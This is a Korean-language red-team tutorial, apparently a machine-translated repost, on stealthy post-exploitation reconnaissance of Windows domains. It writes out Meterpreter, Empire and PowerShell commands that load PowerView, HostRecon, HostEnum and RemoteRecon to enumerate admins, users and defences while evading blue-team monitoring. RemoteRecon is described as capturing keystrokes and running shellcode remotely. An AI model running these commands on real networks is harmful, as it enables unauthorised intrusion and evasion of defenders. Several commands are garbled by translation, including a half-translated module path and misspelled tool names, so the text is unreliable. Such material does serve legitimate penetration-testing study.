PowerView 스크립트를 사용하는 방법

기존 내부 정찰 테스트에서는 net view, net user 등과 같은 Windows 내장 명령을 사용하여 호스트 및 도메인 정보를 얻습니다. 블루팀이 이러한 명령을 모니터링하고 경고를 트리거할 수 있기 때문입니다. 따라서 환경 탐색 중 탐지를 방지하려면 PowerShell 및 WMI와 같은 다른 방법을 사용하십시오.

PowerView
PowerView는 Will Schroeder가 개발한 PowerShell 스크립트이며 PowerSploit 프레임워크 및 Empire의 일부입니다. 스크립트는 쿼리를 위해 PowerShell 및 WMI(Windows 관리 도구)에만 의존합니다. 기존 미터프리터 세션에서 PowerView는 다음 명령을 로드하고 실행하여 도메인에 대한 정보를 검색할 수 있습니다.
meterpreter > load powershell
meterpreter > powershell_import /root/Desktop/PowerView.ps1
meterpreter > 로컬 관리자를 검색할 수 있는 다양한 cmdlet입니다.
meterpreter > powershell_execute Invoke-EnumerateLocalAdmin
Invoke-UserHunter는 사용자가 로그인한 시스템을 식별하고 현재 사용자가 해당 호스트에 대한 로컬 관리자 액세스 권한을 가지고 있는지 확인할 수 있으므로 네트워크 액세스를 확장하는 데 도움이 됩니다.
PS > Invoke-UserHunter
PowerView에는 여러 cmdlet이 포함되어 있으며 도메인 정보도 검색할 수 있습니다.
PS > Get-NetForest
호스트 기반 열거를 수행할 수 있는 모듈도 있습니다.
(Empire: xx) > usemodule 상황별_awareness/host/winenum
(Empire: powershell/situational_awareness/host/winenum) >info
PowerView의 일부가 아닌 도메인에서도 사용할 수 있는 Python 구현도 있습니다. 자격 증명이 제공되면 호스트에서 실행됩니다.
#./pywerver.py get-netshare -w PENESTLAB -u test -p Password123 --computername WIN-PTELU2U07KG
https://github.com/PowerShellMafia/PowerSploit

자동화하는 PowerShell 스크립트도 있습니다. 환경 탐사 작업을 주최합니다. Beau Bullock은 HostRecon을 개발했으며 PowerShell 및 WMI 쿼리를 사용하여 호스트에서 다양한 정보를 검색하여 탐지를 피할 수 있습니다. HostRecon은 호스트의 로컬 사용자와 로컬 관리자를 열거할 수 있습니다. 스크립트는 일련의 검사를 수행하여 방화벽 상태, 설치된 바이러스 백신 솔루션(LAPS를 사용하는 경우) 및 애플리케이션 화이트닝 제품을 확인합니다. 스텔스를 유지하는 것이 레드팀 평가의 우선순위이기 때문에 이 단계와 그 이후에 회피 조치를 사용하려면 이 지식을 얻는 것이 필수적입니다. 또한 스크립트는 도메인 비밀번호 정책, 도메인 컨트롤러 및 도메인 관리자와 같은 도메인 정보를 식별하려고 시도합니다.
meterpreter > powershell_import /root/Desktop/HostRecon.ps1
meterpreter > powershell_execute Invoke-HostRecon
https://github.com/dafthack/HostRecon

HostEnum 스크립트는 호스트에서 실행 시 세부 정보를 제공합니다. HostRecon과 유사한 정보. HostEnum은 로컬과 메모리 모두에서 실행될 수 있으며 HTML 형식으로 출력을 생성할 수 있습니다.
meterpreter > load powershell
meterpreter > powershell_import /root/Desktop/HostEnum.ps1
meterpreter > powershell_shell
PS > Invoke-HostEnum -Local -Domain 매개변수 -Domain은 다음 목록 검색과 같은 특정 도메인 검사를 수행합니다. 도메인 사용자 및 기타 도메인 정보.
https://github.com/threatexpress/red-team-scripts

로컬 관리자 자격 증명을 획득하여 여러 호스트에 공유하는 시나리오에서는 WMI를 사용하여 원격 호스트에서 환경 탐색을 수행할 수 있습니다. RemoteRecon은 Chris Ross가 개발했으며 레드팀이 원래 임플란트를 배치하지 않고도 정찰을 수행할 수 있도록 설계되었습니다. 스크립트는 키 입력과 스크린샷을 캡처하고, 명령과 셸 코드를 실행하고, PowerShell 스크립트를 로드하여 다른 작업을 수행할 수 있습니다. 어떤 작업을 수행하기 전에 먼저 로컬 관리자 자격 증명을 사용하여 호스트에 원격으로 스크립트를 설치해야 합니다. 또는 현재 사용자가 이미 대상 호스트의 로컬 관리자인 경우 컴퓨터 이름만 설치해야 합니다.
PS C:> Import-Module .RemoteRecon.ps1
PS C:> Install-RemoteRecon -ComputerName 'WIN-2NE38K15TGH'
스크립트를 통해 실행된 명령의 출력은 -Results 매개 변수를 사용하여 검색할 수 있습니다.
PS C:> Invoke-PowerShellCmd -ComputerName 'WIN-2NE38K15TGH' -Cmd "ps -name exp" -Verbose
PS C:> Invoke-PowerShellCmd -ComputerName 'WIN-2NE38K15TGH' -Results

위 내용은 PowerView 스크립트를 사용하는 방법의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!